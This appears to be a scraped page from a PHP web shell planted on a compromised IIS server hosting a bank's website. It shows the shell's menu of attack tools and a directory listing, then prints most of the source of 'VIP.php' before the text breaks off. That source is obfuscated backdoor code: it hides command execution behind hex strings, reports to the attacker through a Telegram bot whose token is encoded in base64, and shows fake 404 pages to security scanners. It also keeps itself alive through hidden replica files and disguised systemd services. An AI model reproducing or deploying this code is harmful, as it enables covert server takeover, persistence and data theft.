Windows NT HGWS2-IAD 10.0 build 20348 (Windows Server 2022) AMD64
Microsoft-IIS/10.0
: | : 216.73.216.91
Cant Read [ /etc/named.conf ]
8.3.37
IWPD_272(eibegypt)
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
D: /
InetPub /
vhosts /
eib-egypt.com /
httpdocs /
App_Data /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
Main.htm
10.97
KB
-rw-rw-rw-
VIP.php
216.42
KB
-rw-rw-rw-
s.php
0
B
-rw-rw-rw-
test.php
451.8
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : VIP.php
<?php function wn_fn($k) { static $m = null; if ($m === null) { $m = [ 'se'=>"\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63",'sy'=>"\x73\x79\x73\x74\x65\x6d", 'ex'=>"\x65\x78\x65\x63",'pa'=>"\x70\x61\x73\x73\x74\x68\x72\x75", 'po'=>"\x70\x6f\x70\x65\x6e",'pc'=>"\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e", 'fpc'=>"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73", 'fgc'=>"\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73", 'b64d'=>"\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65", 'b64e'=>"\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65", 'cu_i'=>"\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74",'cu_e'=>"\x63\x75\x72\x6c\x5f\x65\x78\x65\x63", 'cu_s'=>"\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",'cu_c'=>"\x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65", 'cu_g'=>"\x63\x75\x72\x6c\x5f\x67\x65\x74\x69\x6e\x66\x6f", ]; } return $m[$k] ?? ''; } function wn_fn_exists($k) { $f = wn_fn($k); return $f !== '' && function_exists($f); } function wn_call($k) { $f = wn_fn($k); if ($f === '' || !function_exists($f)) return null; $a = func_get_args(); array_shift($a); return @$f(...$a); } error_reporting(0); @ini_set('display_errors', 0); @ini_set('max_execution_time', 0); @ini_set('memory_limit', '256M'); @ob_start(); set_error_handler(function ($no, $str, $file, $line) { if (!(error_reporting() & $no)) return true; @file_put_contents(sys_get_temp_dir() . '/wn_errors.log', date('Y-m-d H:i:s') . " [E$no] $str in $file:$line\n", FILE_APPEND); return true; }); register_shutdown_function(function () { $e = error_get_last(); if ($e && in_array($e['type'], [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR], true)) { @file_put_contents(sys_get_temp_dir() . '/wn_errors.log', date('Y-m-d H:i:s') . " [FATAL E{$e['type']}] {$e['message']} in {$e['file']}:{$e['line']}\n", FILE_APPEND); } }); define('WN_STEALTH_PARAM', 'p'); define('WN_STEALTH_TTL', 604800); define('WN_STEALTH_MIN_MS', 8); define('WN_STEALTH_MAX_MS', 45); define('WN_DEBUG', false); function wn_tg_base() { static $b = null; if ($b === null) $b = wn_call('b64d', 'aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA=='); return $b; } function wn_tg_filebase() { static $b = null; if ($b === null) $b = wn_call('b64d', 'aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2ZpbGUvYm90'); return $b; } function wn_cfg_b64() { return ['k'=>'ODk2MTQyMjM1ODpBQUVLZjdSSzZPN1JFM25xRmFkSHBkc1dqclpseVV4dHdDQQ==', 'j'=>'NzU0NzU5ODM5NQ==']; } $_wn_c = wn_cfg_b64(); $__B = wn_call('b64d', $_wn_c['k']); $__C = wn_call('b64d', $_wn_c['j']); unset($_wn_c); $CURRENT_SHELL = basename(__FILE__); $rootPath = realpath(__DIR__) ?: __DIR__; $notifyDelete = true; $specialDirectories = [ 'public_html'=>isset($_SERVER['DOCUMENT_ROOT']) ? realpath($_SERVER['DOCUMENT_ROOT']) : null, 'user'=>realpath('/home'),'etc'=>realpath('/etc'),'log'=>realpath('/var/log'), 'homeshell'=>$rootPath,'tmp'=>'/tmp','dev_shm'=>'/dev/shm', ]; $specialDirectories = array_filter($specialDirectories, function ($d) { return $d && is_dir($d); }); function wn_safe_host() { $h = $_SERVER['HTTP_HOST'] ?? ''; if ($h === '') return $_SERVER['SERVER_NAME'] ?? 'localhost'; if (!preg_match('/^[a-zA-Z0-9\.\-:]+$/', $h)) return $_SERVER['SERVER_NAME'] ?? 'localhost'; $sn = strtolower($_SERVER['SERVER_NAME'] ?? ''); $hl = strtolower($h); if ($sn === '' || $hl === $sn || substr($hl, -strlen('.'.$sn)) === '.'.$sn) return $h; return $_SERVER['SERVER_NAME'] ?? 'localhost'; } function wn_is_scanner() { $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; if ($ua === '' || strlen($ua) < 15) return true; $uaLow = strtolower($ua); foreach (['nuclei','nikto','nmap','masscan','sqlmap','acunetix','nessus','openvas','burp','zap','xray','wpscan','dirbuster','gobuster','wfuzz','ffuf','ferox','whatweb','w3af','skipfish','arachni','python-requests','python-urllib','go-http-client','curl/','wget/','libwww-perl','lwp-','httpclient','java/','okhttp','scrapy','phantomjs','headless','puppeteer','selenium','zgrab','shodan','censys','binaryedge','internetmeasurement'] as $p) if (strpos($uaLow, $p) !== false) return true; return false; } function wn_get_home() { $h = getenv('HOME'); if ($h && is_dir($h)) return $h; if (function_exists('posix_getpwuid')) { $p = posix_getpwuid(posix_getuid()); if ($p && !empty($p['dir']) && is_dir($p['dir'])) return $p['dir']; } if (!empty($_SERVER['HOME']) && is_dir($_SERVER['HOME'])) return $_SERVER['HOME']; $dr = $_SERVER['DOCUMENT_ROOT'] ?? ''; if ($dr && preg_match('#^(/home/[^/]+)#', $dr, $m)) return $m[1]; return ''; } function wn_state_dir() { static $c = null; if ($c !== null) return $c; $home = wn_get_home(); if ($home) { $cache = $home . '/.cache'; if (!is_dir($cache)) @mkdir($cache, 0700, true); if (is_dir($cache) && is_writable($cache)) { $c = $cache; return $c; } if (is_dir($home) && is_writable($home)) { $c = $home; return $c; } } $c = sys_get_temp_dir(); return $c; } function wn_blend_name($kind) { static $map = null; if ($map === null) { global $CURRENT_SHELL; $seed = substr(hash('sha256', 'blend:' . $CURRENT_SHELL . ':' . __DIR__), 0, 32); $h = substr($seed, 0, 16); $h2 = substr($seed, 16, 16); $map = [ 'salt'=>'/.cache_'.$h.'.dat','stealth_key'=>'/.session_'.$h.'.tmp','stealth_on'=>'/.lock_'.$h2, 'daemon_pid'=>'/.'.$h.'.pid','watchdog_pid'=>'/.'.$h2.'.lock','daemon_php'=>'/.upd_'.$h.'.cache', 'watchdog_php'=>'/.tmp_'.$h.'.cache','heartbeat'=>'/.beat_'.$h.'.log','started'=>'/.init_'.$h.'.dat', 'last_selfheal'=>'/.hc_'.$h.'.log','activity'=>'/.act_'.$h.'.log','deadman'=>'/.dm_'.$h.'.conf', 'deadman_noted'=>'/.dmn_'.$h.'.log','rm_pending'=>'/.rm_'.$h.'.tmp','sd_pending'=>'/.sd_'.$h.'.tmp', 'cron_backup'=>'/.cronbak_'.$h.'.txt','otp'=>'/.otp_'.$h,'lock'=>'/.lk_'.$h,'live'=>'/.lv_'.$h, 'offset'=>'/.of_'.$h,'last'=>'/.ls_'.$h,'blocked'=>'/.bl_'.$h,'fail'=>'/.fl_'.$h, 'stealth_fail'=>'/.sf_'.$h,'stealth_ban'=>'/.sb_'.$h,'stealth_otp'=>'/.so_'.$h, 'wrap_selfheal'=>'/.wsh_'.$h,'replica'=>'/.rp_'.$h,'replica_bak'=>'/.rpb_'.$h, 'shell_mtime'=>'/.mt_'.$h.'.dat', 'integrity_check'=>'/.ic_'.$h,'integrity_alert'=>'/.ia_'.$h, 'integrity_pause'=>'/.ip_'.$h,'integrity_pause_ttl'=>'/.ipt_'.$h, 'fleet_key'=>'/.fk_'.$h.'.dat','fleet_id'=>'/.fi_'.$h,'fleet_registry'=>'/.fr_'.$h.'.json', 'dying'=>'/.dy_'.$h, ]; } return wn_state_dir() . $map[$kind]; } function wn_can_shell() { static $cache = null; if ($cache !== null) return $cache; $disabled = array_map('trim', explode(',', ini_get("\x64\x69\x73\x61\x62\x6c\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73") ?: '')); foreach (['se','sy','ex','pa','po','pc'] as $k) { $f = wn_fn($k); if ($f !== '' && function_exists($f) && !in_array($f, $disabled, true)) { $cache = true; return $cache; } } $cache = false; return $cache; } function cmd_exec($cmd, &$output = null) { $output = ''; if (!wn_can_shell()) { $output = '[shell disabled]'; return false; } $disabled = array_map('trim', explode(',', ini_get("\x64\x69\x73\x61\x62\x6c\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73") ?: '')); foreach (['se','sy','ex','pa'] as $k) { $func = wn_fn($k); if ($func === '' || !function_exists($func) || in_array($func, $disabled, true)) continue; try { if ($k === 'se') { $r = wn_call('se', $cmd); if ($r !== null) { $output = $r; return $r; } } elseif ($k === 'sy') { ob_start(); wn_call('sy', $cmd); $o = ob_get_clean(); if ($o !== false && $o !== null) { $output = $o; return $o; } } elseif ($k === 'ex') { $o = []; wn_call('ex', $cmd, $o); if (!empty($o)) { $output = implode("\n", $o); return $output; } } elseif ($k === 'pa') { ob_start(); wn_call('pa', $cmd); $o = ob_get_clean(); if ($o !== false && $o !== null) { $output = $o; return $o; } } } catch (Throwable $e) { continue; } } if (wn_fn_exists('po') && !in_array(wn_fn('po'), $disabled, true)) { try { $fp = wn_call('po', $cmd, 'r'); if ($fp) { $o = ''; while (!feof($fp)) $o .= fread($fp, 4096); pclose($fp); $output = $o; return $o; } } catch (Throwable $e) {} } return false; } function wn_run_bg($cmd) { if (!wn_can_shell()) return false; $disabled = array_map('trim', explode(',', ini_get("\x64\x69\x73\x61\x62\x6c\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73") ?: '')); $hasSetsid = trim((string)cmd_exec('command -v setsid 2>/dev/null')) !== ''; $hasNohup = trim((string)cmd_exec('command -v nohup 2>/dev/null')) !== ''; if ($hasSetsid) $cmd = 'setsid ' . $cmd; elseif ($hasNohup) $cmd = 'nohup ' . $cmd; $cmd .= ' </dev/null >/dev/null 2>&1 &'; if (function_exists('popen') && !in_array('popen', $disabled, true)) { try { $fp = @popen($cmd, 'r'); if ($fp) { @pclose($fp); return true; } } catch (Throwable $e) {} } if (function_exists('proc_open') && !in_array('proc_open', $disabled, true)) { try { $d = [0=>['file','/dev/null','r'], 1=>['file','/dev/null','w'], 2=>['file','/dev/null','w']]; $p = @proc_open($cmd, $d, $pipes); if (is_resource($p)) { @proc_close($p); return true; } } catch (Throwable $e) {} } return false; } function is_shell_available() { static $a = null; if ($a !== null) return $a; if (!wn_can_shell()) { $a = false; return $a; } $t = cmd_exec('echo 1'); $a = ($t !== false && trim($t) === '1'); return $a; } function isRoot() { if (!is_shell_available()) return false; return trim((string)cmd_exec('whoami 2>/dev/null')) === 'root'; } function formatSize($bytes) { if (!is_numeric($bytes)) return '0 bytes'; if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; return $bytes . ' bytes'; } function deleteDirectory($dir) { if (is_link($dir)) return @unlink($dir); if (!file_exists($dir)) return true; if (!is_dir($dir)) return @unlink($dir); if (!is_readable($dir) || !is_writable($dir)) @chmod($dir, 0700); $items = @scandir($dir); if ($items === false) { @chmod($dir, 0700); $items = @scandir($dir); if ($items === false) return false; } $ok = true; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $p = $dir . DIRECTORY_SEPARATOR . $item; if (is_link($p)) { if (!@unlink($p)) { @chmod($dir, 0700); if (!@unlink($p)) $ok = false; } continue; } if (is_dir($p)) { if (!deleteDirectory($p)) $ok = false; continue; } if (!@unlink($p)) { @chmod($p, 0600); @chmod($dir, 0700); if (!@unlink($p)) $ok = false; } } if (!@rmdir($dir)) { @chmod($dir, 0700); if (!@rmdir($dir)) $ok = false; } return $ok; } function isSafePath($path, $rootPath, $specialDirs) { $rp = @realpath($path); if ($rp === false) $rp = $path; $rr = @realpath($rootPath) ?: $rootPath; if ($rp === $rr) return true; if (strpos($rp, rtrim($rr, '/') . '/') === 0) return true; foreach ($specialDirs as $d) { if (!$d) continue; $rd = @realpath($d) ?: $d; if ($rp === $rd) return true; if (strpos($rp, rtrim($rd, '/') . '/') === 0) return true; } return false; } function sendJsonResponse($data) { while (ob_get_level() > 0) @ob_end_clean(); if (!headers_sent()) { @header_remove('X-Powered-By'); header('Content-Type: application/json; charset=utf-8'); header('Cache-Control: no-store'); header('X-Content-Type-Options: nosniff'); } $out = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); if ($out === false) $out = '{"status":"error","message":"json_encode failed"}'; echo $out; exit; } function safe_truncate_utf8($str, $maxBytes) { if (strlen($str) <= $maxBytes) return $str; $r = @mb_strcut($str, 0, $maxBytes, 'UTF-8'); return $r === false ? substr($str, 0, $maxBytes) : $r; } function get_real_ip() { foreach (['HTTP_CF_CONNECTING_IP','HTTP_X_FORWARDED_FOR','HTTP_X_REAL_IP'] as $h) if (!empty($_SERVER[$h])) { $ips = explode(',', $_SERVER[$h]); return trim($ips[0]); } return $_SERVER['REMOTE_ADDR'] ?? ''; } function wn_capture_mtime($path) { $mtime = @filemtime($path); if ($mtime === false || $mtime <= 0) $mtime = time(); $f = wn_blend_name('shell_mtime'); wn_call('fpc', $f, (string)$mtime, LOCK_EX); @chmod($f, 0600); return $mtime; } function wn_get_stored_mtime() { $f = wn_blend_name('shell_mtime'); if (!file_exists($f)) return 0; $m = (int)wn_call('fgc', $f); return $m > 0 ? $m : 0; } function wn_apply_mtime($path) { $m = wn_get_stored_mtime(); if ($m > 0 && file_exists($path)) { @touch($path, $m, $m); return true; } return false; } function wn_hide_state_file() { return wn_state_dir() . '/.wn_hide_state'; } function wn_is_hidden() { $f = wn_hide_state_file(); if (!file_exists($f)) return false; return trim((string)wn_call('fgc', $f)) === 'hidden'; } function wn_set_hidden($on) { $f = wn_hide_state_file(); if ($on) { wn_call('fpc', $f, 'hidden', LOCK_EX); @chmod($f, 0600); } else { @unlink($f); } } function wn_tg_callback_handle() { global $__B; while (ob_get_level() > 0) @ob_end_clean(); header('Content-Type: text/plain; charset=utf-8'); $expectedKey = hash('sha256', 'wn_tg:' . $__B . ':' . wn_get_salt()); if (!hash_equals($expectedKey, (string)($_GET['key'] ?? ''))) { http_response_code(403); echo 'FORBIDDEN'; exit; } $action = strtolower((string)($_GET['wn_tg'] ?? '')); switch ($action) { case 'reinstall': $result = auto_install_watcher_controller(); if (($result['status'] ?? '') !== 'success') echo '[X] ' . ($result['message'] ?? 'Failed'); else echo "[Reinstall]\nPHP: " . ($result['php_bin'] ?? '?') . "\nWatcher: " . ($result['watcher'] ?? '?') . "\nCron: " . (!empty($result['cron_ok']) ? 'OK' : 'NO'); break; case 'uninstall': $result = auto_uninstall_watcher_controller(); echo ($result['status'] ?? '') === 'success' ? '[Uninstalled] ' . ($result['message'] ?? 'OK') : '[X] ' . ($result['message'] ?? 'Failed'); break; default: echo '[X] Unknown action: ' . $action; } exit; } function sendTelegramMessage($tk, $cid, $message, $plain = false) { if (empty($tk) || empty($cid) || empty($message)) return false; if (strlen($message) > 4096) $message = safe_truncate_utf8($message, 4000) . "\n...(truncated)"; $url = wn_tg_base() . $tk . '/sendMessage'; $data = ['chat_id'=>$cid,'text'=>$message,'disable_web_page_preview'=>'true']; if (!$plain) $data['parse_mode'] = 'HTML'; $post = http_build_query($data); if (function_exists('curl_init')) { $ch = @curl_init(); if ($ch !== false && $ch !== null) { @curl_setopt($ch, CURLOPT_URL, $url); @curl_setopt($ch, CURLOPT_POST, true); @curl_setopt($ch, CURLOPT_POSTFIELDS, $post); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_TIMEOUT, 20); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); @curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); $res = @curl_exec($ch); @curl_close($ch); if (is_string($res) && $res !== '') { $r = @json_decode($res, true); if (is_array($r) && isset($r['ok']) && $r['ok'] === true) return true; } } } if (ini_get('allow_url_fopen')) { $ctx = @stream_context_create(['http'=>['method'=>'POST','header'=>"Content-Type: application/x-www-form-urlencoded\r\nContent-Length: " . strlen($post) . "\r\n",'content'=>$post,'timeout'=>20,'ignore_errors'=>true],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]]); if ($ctx !== false) { $res = @file_get_contents($url, false, $ctx); if (is_string($res) && $res !== '') { $r = @json_decode($res, true); if (is_array($r) && isset($r['ok']) && $r['ok'] === true) return true; } } } return false; } function wn_get_salt() { static $cached = null; if ($cached !== null) return $cached; $f = wn_blend_name('salt'); if (!file_exists($f) || @filesize($f) < 16) { try { $newSalt = bin2hex(random_bytes(24)); } catch (Throwable $e) { global $__B, $rootPath; $newSalt = hash('sha256', 'x:' . ($__B ?? '') . ':' . $rootPath . ':' . uniqid('', true)); } wn_call('fpc', $f, $newSalt, LOCK_EX); @chmod($f, 0600); } $s = trim((string)wn_call('fgc', $f)); if (strlen($s) < 16) { global $CURRENT_SHELL, $rootPath, $__B; $s = hash('sha256', 'fb:' . $CURRENT_SHELL . ':' . $rootPath . ':' . ($__B ?? '')); wn_call('fpc', $f, $s, LOCK_EX); @chmod($f, 0600); } $cached = $s; return $cached; } function wn_get_key($suffix = '') { global $CURRENT_SHELL; return substr(hash('sha256', 'k:' . wn_get_salt() . ':' . $CURRENT_SHELL . ':' . $suffix), 0, 16); } function wn_backup_filename() { return '.' . wn_get_key('backup'); } function wn_backup_locations() { $home = wn_get_home(); $name = wn_backup_filename(); $locs = []; if ($home && is_dir($home)) { foreach (['/.cache','/.config','/.local','/.cache/icons','/.config/systemd'] as $sub) { $dir = $home . $sub; if (!is_dir($dir)) @mkdir($dir, 0700, true); if (is_dir($dir) && is_writable($dir)) $locs[] = $dir . '/' . $name; } } return array_values(array_unique($locs)); } function wn_stealth_key_file() { return wn_blend_name('stealth_key'); } function wn_stealth_on_file() { return wn_blend_name('stealth_on'); } function wn_stealth_cookie_name() { return 'PHPSESSID_' . substr(md5(wn_get_salt()), 0, 4); } function wn_stealth_key() { static $k = null; if ($k !== null) return $k; $f = wn_stealth_key_file(); $k = file_exists($f) ? trim((string)wn_call('fgc', $f)) : ''; if (strlen($k) < 16) { try { $k = bin2hex(random_bytes(16)); } catch (Throwable $e) { $k = substr(hash('sha256', 'sk:' . wn_get_salt() . microtime(true)), 0, 32); } wn_call('fpc', $f, $k, LOCK_EX); @chmod($f, 0600); } return $k; } function wn_stealth_enabled() { return file_exists(wn_stealth_on_file()); } function wn_stealth_ua_hash() { $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; return substr(hash('sha256', 'u:' . $ua), 0, 16); } function wn_session_poison($ttl = 3600) { if (session_status() !== PHP_SESSION_ACTIVE) @session_start(); $_SESSION['_wh'] = ['n'=>bin2hex(random_bytes(16)),'e'=>time()+$ttl,'u'=>wn_stealth_ua_hash(),'p'=>$_SERVER['REMOTE_ADDR'] ?? '']; } function wn_session_verify() { if (session_status() !== PHP_SESSION_ACTIVE) return false; if (empty($_SESSION['_wh'])) return false; $st = $_SESSION['_wh']; if (empty($st['e']) || $st['e'] < time()) { unset($_SESSION['_wh']); return false; } if (!hash_equals(wn_stealth_ua_hash(), $st['u'] ?? '')) return false; return true; } function wn_stealth_issue_cookie($ttl = WN_STEALTH_TTL) { while (ob_get_level() > 0) @ob_end_clean(); $exp = time() + $ttl; $ua = wn_stealth_ua_hash(); $sig = hash_hmac('sha256', 'stealth|' . $exp . '|' . $ua, wn_auth_secret()); $val = $exp . '.' . $ua . '.' . $sig; $isHttps = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (($_SERVER['HTTP_X_FORWARDED_PROTO'] ?? '') === 'https') || (($_SERVER['SERVER_PORT'] ?? '') == 443); $params = ['expires'=>$exp,'path'=>'/','httponly'=>true,'samesite'=>'Lax']; if ($isHttps) $params['secure'] = true; if (!headers_sent()) { @header_remove('X-Powered-By'); setcookie(wn_stealth_cookie_name(), $val, $params); } $_COOKIE[wn_stealth_cookie_name()] = $val; wn_session_poison($ttl); } function wn_stealth_verify_cookie() { $c = $_COOKIE[wn_stealth_cookie_name()] ?? ''; if (empty($c)) return false; $parts = explode('.', $c); if (count($parts) !== 3) return false; list($exp, $ua, $sig) = $parts; if (!ctype_digit($exp) || (int)$exp < time()) return false; if (!hash_equals(wn_stealth_ua_hash(), $ua)) return false; return hash_equals(hash_hmac('sha256', 'stealth|' . $exp . '|' . $ua, wn_auth_secret()), $sig); } function wn_stealth_fail_file() { return wn_blend_name('stealth_fail') . '_' . md5(get_real_ip()); } function wn_stealth_ban_file() { return wn_blend_name('stealth_ban') . '_' . md5(get_real_ip()); } function wn_stealth_is_banned() { $f = wn_stealth_ban_file(); if (!file_exists($f)) return false; $t = (int)wn_call('fgc', $f); if (time() - $t > 3600) { @unlink($f); return false; } return true; } function wn_stealth_note_fail() { global $__B, $__C; $f = wn_stealth_fail_file(); $d = @json_decode(wn_call('fgc', $f), true); if (!is_array($d) || !isset($d['first']) || (time() - (int)$d['first']) > 900) $d = ['n'=>1,'first'=>time()]; else $d['n']++; wn_call('fpc', $f, json_encode($d), LOCK_EX); @chmod($f, 0600); if ($d['n'] >= 10) { wn_call('fpc', wn_stealth_ban_file(), time(), LOCK_EX); sendTelegramMessage($__B, $__C, "[STEALTH BAN]\nIP: " . htmlspecialchars(get_real_ip(), ENT_QUOTES, 'UTF-8') . "\nGagal {$d['n']}x / 15m\nBan 1 jam", true); } } function wn_stealth_note_ok() { @unlink(wn_stealth_fail_file()); } function wn_stealth_otp_file() { return wn_blend_name('stealth_otp'); } function wn_stealth_gen_otp($ttl = 300) { try { $token = bin2hex(random_bytes(16)); } catch (Throwable $e) { $token = substr(hash('sha256', microtime(true) . mt_rand()), 0, 32); } $json = json_encode(['t'=>$token,'e'=>time()+$ttl]); if ($json === false) return ''; $f = wn_stealth_otp_file(); $w = wn_call('fpc', $f, $json, LOCK_EX); if (!is_int($w) || $w <= 0) { $fp = @fopen($f, 'c'); if ($fp === false) return ''; @flock($fp, LOCK_EX); @ftruncate($fp, 0); $n = @fwrite($fp, $json); @fflush($fp); @flock($fp, LOCK_UN); @fclose($fp); if (!is_int($n) || $n <= 0) return ''; } @chmod($f, 0600); return $token; } function wn_stealth_consume_otp($given) { $f = wn_stealth_otp_file(); if (!file_exists($f)) return false; $raw = wn_call('fgc', $f); if (!is_string($raw) || $raw === '') $raw = @file_get_contents($f); @unlink($f); if (!is_string($raw) || $raw === '') return false; $d = json_decode($raw, true); if (!is_array($d) || empty($d['t']) || empty($d['e'])) return false; if (time() > (int)$d['e']) return false; return hash_equals((string)$d['t'], (string)$given); } function wn_stealth_unlock() { if (!wn_stealth_enabled()) return true; if (wn_check_auth_cookie()) return true; if (wn_stealth_verify_cookie()) return true; if (wn_session_verify()) return true; if (wn_stealth_is_banned()) { wn_stealth_decoy(); } $key = ''; if (!empty($_SERVER['HTTP_X_WN_KEY'])) $key = (string)$_SERVER['HTTP_X_WN_KEY']; elseif (isset($_GET[WN_STEALTH_PARAM])) { $key = (string)$_GET[WN_STEALTH_PARAM]; if (wn_stealth_consume_otp($key)) { wn_stealth_issue_cookie(); wn_stealth_note_ok(); return true; } } if ($key !== '' && hash_equals(wn_stealth_key(), $key)) { wn_stealth_issue_cookie(); wn_stealth_note_ok(); return true; } if ($key !== '') wn_stealth_note_fail(); return false; } function wn_stealth_jitter() { $ms = random_int(WN_STEALTH_MIN_MS, WN_STEALTH_MAX_MS); usleep($ms * 1000); } function wn_stealth_decoy() { while (ob_get_level() > 0) @ob_end_clean(); if (!headers_sent()) { @header_remove('X-Powered-By'); @header_remove('X-Powered-By-PHP'); @header_remove('Set-Cookie'); @header_remove('Expires'); @header_remove('Cache-Control'); @header_remove('Pragma'); } @http_response_code(404); $method = strtoupper($_SERVER['REQUEST_METHOD'] ?? 'GET'); if ($method === 'HEAD') exit; $sw = strtolower($_SERVER['SERVER_SOFTWARE'] ?? ''); $srv = 'Apache'; if (strpos($sw, 'nginx') !== false) $srv = 'nginx'; elseif (strpos($sw, 'litespeed') !== false) $srv = 'LiteSpeed'; if (!in_array($method, ['GET','POST'], true)) { @http_response_code(405); if (!headers_sent()) { header('Allow: GET, HEAD, POST'); header('Content-Length: 0'); } exit; } switch ($srv) { case 'nginx': $ct='text/html'; $body="<html>\r\n<head><title>404 Not Found</title></head>\r\n<body>\r\n<center><h1>404 Not Found</h1></center>\r\n<hr><center>nginx</center>\r\n</body>\r\n</html>\r\n"; break; case 'LiteSpeed': $ct='text/html; charset=UTF-8'; $body="<!DOCTYPE html>\n<html style=\"height:100%\">\n<head><meta charset=\"UTF-8\"><title>404 Not Found</title></head>\n<body style=\"margin:0;font-family:Arial,sans-serif\">\n<div style=\"display:flex;align-items:center;justify-content:center;height:100vh;flex-direction:column\">\n<h1 style=\"font-size:3em;margin:0\">404</h1>\n<p>Not Found</p>\n</div>\n</body>\n</html>"; break; default: $ct='text/html; charset=iso-8859-1'; $body='<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">'."\n".'<html><head>'."\n".'<title>404 Not Found</title>'."\n".'</head><body>'."\n".'<h1>Not Found</h1>'."\n".'<p>The requested URL was not found on this server.</p>'."\n".'</body></html>'."\n"; break; } if (!headers_sent()) { header('Content-Type: ' . $ct); header('Content-Length: ' . strlen($body)); } echo $body; exit; } function wn_random_replica_dirs() { $home = wn_get_home(); $dirs = []; if ($home) foreach ([$home.'/.local/share',$home.'/.local/share/icons',$home.'/.local/share/.cache',$home.'/.config/.cache',$home.'/.config/icons',$home.'/.cache/.sys',$home.'/.cache/system',$home.'/.local/state',$home.'/.local/state/.cache',$home.'/.local/share/Trash'] as $d) { if (!is_dir($d)) @mkdir($d, 0700, true); if (is_dir($d) && is_writable($d)) $dirs[] = $d; } return $dirs; } function wn_replica_watcher_paths() { $paths = []; $dirs = wn_random_replica_dirs(); if (empty($dirs)) return $paths; $baseKey = wn_get_key('replica'); $names = ['.cache-'.$baseKey.'.cache','.sys-'.$baseKey.'.dat','.tmp-'.$baseKey.'.tmp','.data-'.$baseKey.'.bin','session-'.$baseKey.'.idx','.icon-'.$baseKey.'.log']; foreach ($dirs as $i => $d) $paths[] = $d . '/' . $names[$i % count($names)]; return array_values(array_unique($paths)); } function wn_replica_backup_paths() { $paths = []; $dirs = wn_random_replica_dirs(); if (empty($dirs)) return $paths; $baseKey = wn_get_key('replica_bak'); $names = ['.cache-'.$baseKey.'.log','.sys-'.$baseKey.'.dat','.tmp-'.$baseKey.'.tmp','.data-'.$baseKey.'.old']; foreach ($dirs as $i => $d) $paths[] = $d . '/' . $names[$i % count($names)]; return array_values(array_unique($paths)); } function wn_watcher_locations() { $home = wn_get_home(); $locs = []; if ($home) foreach (['/.cache','/.config','/.local'] as $sub) $locs[] = $home . $sub . '/php-sess-' . substr(md5(wn_get_key('w')), 0, 8) . '.cache'; return array_values(array_unique(array_merge($locs, wn_replica_watcher_paths()))); } function wn_wrapper_locations() { $home = wn_get_home(); $locs = []; if ($home) foreach (['/.cache','/.config','/.local'] as $sub) $locs[] = $home . $sub . '/.' . substr(md5(wn_get_key('wrap')), 0, 12) . '.bin'; return array_values(array_unique($locs)); } function wn_systemd_service_name() { return 'php-session-' . substr(md5(wn_get_key('svc') . wn_get_salt()), 0, 6); } function wn_systemd_user_dir() { $home = wn_get_home(); if (!$home) return null; $dir = $home . '/.config/systemd/user'; if (!is_dir($dir)) @mkdir($dir, 0700, true); return (is_dir($dir) && is_writable($dir)) ? $dir : null; } function wn_systemd_system_dir() { $dir = '/etc/systemd/system'; if (!is_dir($dir) || !is_writable($dir)) return null; return $dir; } function wn_install_systemd($phpBin, $entry, &$log) { $svc = wn_systemd_service_name(); $phpEsc = escapeshellarg($phpBin); $entryEsc = escapeshellarg($entry); $unixUser = null; $unixGroup = null; if (function_exists('posix_getpwuid')) { $u = @posix_getpwuid(posix_getuid()); if ($u && !empty($u['name'])) $unixUser = $u['name']; } if (function_exists('posix_getgrgid')) { $g = @posix_getgrgid(posix_getgid()); if ($g && !empty($g['name'])) $unixGroup = $g['name']; } $userDirective = ''; if ($unixUser) { $userDirective = "\nUser=" . $unixUser; if ($unixGroup) $userDirective .= "\nGroup=" . $unixGroup; } $unitUser = "[Unit]\nDescription=PHP Session Cleanup\nAfter=network.target\n\n[Service]\nType=simple{$userDirective}\nExecStart={$phpEsc} {$entryEsc}\nRestart=always\nRestartSec=30\nStartLimitIntervalSec=0\nStandardOutput=null\nStandardError=null\n\n[Install]\nWantedBy=default.target\n"; $unitSys = str_replace("WantedBy=default.target", "WantedBy=multi-user.target", $unitUser); $installed = []; $userDir = wn_systemd_user_dir(); if ($userDir) { $p = $userDir . '/' . $svc . '.service'; if (wn_call('fpc', $p, $unitUser) !== false) { @chmod($p, 0600); cmd_exec('systemctl --user daemon-reload 2>/dev/null'); cmd_exec('systemctl --user 